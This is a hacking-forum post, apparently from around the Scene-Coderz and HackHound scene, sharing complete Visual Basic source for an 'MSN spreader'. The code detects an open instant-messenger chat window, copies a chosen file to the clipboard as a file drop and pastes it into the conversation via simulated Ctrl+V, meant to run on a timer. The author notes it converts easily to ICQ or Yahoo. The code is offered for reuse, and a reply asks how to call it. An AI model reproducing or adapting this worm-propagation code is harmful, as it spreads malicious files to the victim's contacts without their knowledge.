[Source] MSN Spreading Example by Slayer616 {ALL VERSIONS}

  • This is a small Example how to Spread Files over MSN easily. It should work with all MSN Versions.
    You CAN modify it to a ICQ/Yahoo Spreader in a few Seconds (Change the Classname)!


    Don't forget to Credit if you use it!


    Have phun with it...



    [Kein Bock auf Deutsch zu übersetzen...]


    [QUOTE]
    '--------------------------------------------------------------------------------------
    '--------------------MSN SPREADING EXAMPLE by Slayer616--------------------
    '--------------------------------------------------------------------------------------
    '-------------------visit us @Scene-Coderz.com / HackHound.org--------------
    'Author: Slayer616
    'Credits: D3x (GetForegroundWindow)
    ' Tim Misset (Copy File to Clipboard)
    'Special Thanks: Syntaxx_Err, omc, steve, Paran0id, Syler, Zacherl, Scott
    ' Who!, -silent-, Krippler, carb0n, whole HH staff & VIP
    ' whole SC-Team and other friends an supporters
    '--------------------------------------------------------------------------------------
    'Example:
    'Use a Timer with a big Intervall
    'on Tick set this: Call Spread
    'Change the FilePath to your FilePath
    'Have phun with it!
    '--------------------------------------------------------------------------------------
    '----------------DON'T FORGET TO CREDIT IF YOU USE THIS SAMPLE!-------
    '-------------------------------------------------------------------------------------
    Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
    Public Type POINTAPI
    x As Long
    y As Long
    End Type
    Public Declare Function GetForegroundWindow Lib "user32" () As Long
    Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
    Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
    Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
    Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
    Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
    Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare Function EmptyClipboard Lib "user32" () As Long
    Private Declare Function OpenClipboard Lib "user32" (ByVal Hwnd As Long) As Long
    Private Declare Function CloseClipboard Lib "user32" () As Long
    Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
    Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
    Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
    Private Const GHND = &H42
    Private Const CF_HDROP = &HF
    Private Const GET_DROP_COUNT = &HFFFFFFFF
    Private Type DROPFILES
    pFiles As Long
    pt As POINTAPI
    fNC As Long
    fWide As Long
    End Type
    Dim iCounter As Integer
    Dim DF As DROPFILES
    Dim strFiles As String
    Dim hGlobal As Long
    Dim lpGlobal As Long
    Dim hDrop As Long
    Dim lFiles As Long
    Dim strFile As String
    Public Function Spread(PathToFile As String)
    Dim cClass As String
    Dim cWind As Long
    cClass = Space(255)
    cWind = GetForegroundWindow
    cWind = GetClassName(cWind, cClass, 255)
    cClass = Left(cClass, cWind)
    If Trim(cClass) = "IMWindowClass" Then
    Sleep 500
    CopyFileToMem PathToFile
    PastFile
    CopyFileToMem PathToFile
    PastFile
    Call SendKeys("^v")
    End If
    End Function
    Function CopyFileToMem(PathToTehFileS As String)
    If OpenClipboard(frmMain.Hwnd) = 0 Then
    CloseClipboard
    Exit Function
    End If
    EmptyClipboard
    strFiles = PathToTehFileS & vbNullChar
    hGlobal = GlobalAlloc(GHND, Len(DF) + Len(strFiles))
    If hGlobal Then
    lpGlobal = GlobalLock(hGlobal)
    DF.pFiles = Len(DF)
    Call CopyMem(ByVal lpGlobal, DF, Len(DF))
    Call CopyMem(ByVal (lpGlobal + Len(DF)), ByVal strFiles, Len(strFiles))
    Call GlobalUnlock(hGlobal)
    SetClipboardData CF_HDROP, hGlobal
    End If
    CloseClipboard
    End Function
    Function PastFile()
    If IsClipboardFormatAvailable(CF_HDROP) = 0 Then Exit Function
    If OpenClipboard(frmMain.Hwnd) = 0 Then
    CloseClipboard
    Exit Function
    End If
    hDrop = GetClipboardData(CF_HDROP)
    lFiles = DragQueryFile(hDrop, -1&, "", 0)
    strFile = Space(260)
    For iCounter = 0 To lFiles - 1
    Call DragQueryFile(hDrop, iCounter, strFile, Len(strFile))
    Next
    CloseClipboard
    End Function
    [\QUOTE]




    Du sagst, du spürst die Ohnmacht, denn der Feind ist ach so stark
    Und er will dich niederhalten mit Geschrei durch Bein und Mark
    Mit Verboten und Zensur kann er zwar den Kampf erschweren
    Doch niemals wird ein Richterspruch den freien Geist bekehren.


    Fürchte lieber Deutschlands Untergang als die Reden der Vasallen
    Derer, die der Lüge dienen, denn schon bald werden sie fallen.

  • slayer so:


    Call Spread("C:\windows\system32\") oder so Call Spread("C:\windows\system32")

    [LEFT][SIZE=1]Die "Szene" schon seit geburt an herzkrank und über die Jahre bilden sich immer mehr �deme, doch trotzdem schlägt das Herz noch irgendwie.[/SIZE][/LEFT]